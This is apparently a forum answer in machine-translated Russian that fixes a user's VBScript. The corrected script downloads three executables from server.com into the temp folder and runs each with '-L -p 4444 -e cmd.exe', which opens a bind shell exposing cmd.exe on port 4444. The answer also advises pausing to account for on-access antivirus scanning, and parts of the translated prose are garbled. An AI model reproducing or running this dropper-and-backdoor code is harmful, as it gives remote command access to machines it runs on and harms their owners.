Я вижу несколько других проблем с вашим примером скрипта, кроме того, о котором сообщалось: не закрытие ADODB.Stream. Например, повторно DIM ранее переменных DIM, Next
без For
, отсутствие повторного использования кода и т. Д. c.
Проверьте, помогает ли это (не проверено):
dim http_obj : set http_obj = CreateObject("Microsoft.XMLHTTP")
dim stream_obj : set stream_obj = CreateObject("ADODB.Stream")
dim shell_obj : set shell_obj = CreateObject("WScript.Shell")
dim i, download, URL, FILENAME, RUNCMD
For i = 1 To 3
download = "download" & CStr(i) & ".exe"
URL = "http://server.com/" & download 'Where to download the file from
http_obj.open "GET", URL, False
http_obj.send
FILENAME = "%Tmp%\" & download 'Name to save the file (on the local system)
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
stream_obj.close
RUNCMD = FILENAME & " -L -p 4444 -e cmd.exe"
shell_obj.run RUNCMD
Next
Я мог бы также предложить некоторую обработку ошибок, проверяя состояние http_obj для правильного кода ответа перед использованием responseBody, проверяя существование файла перед запуском RUNCMD и, возможно, кратковременно спя между закрытием потока и RUNCMD, если файл и у вас включено сканирование при доступе.
Наслаждайтесь.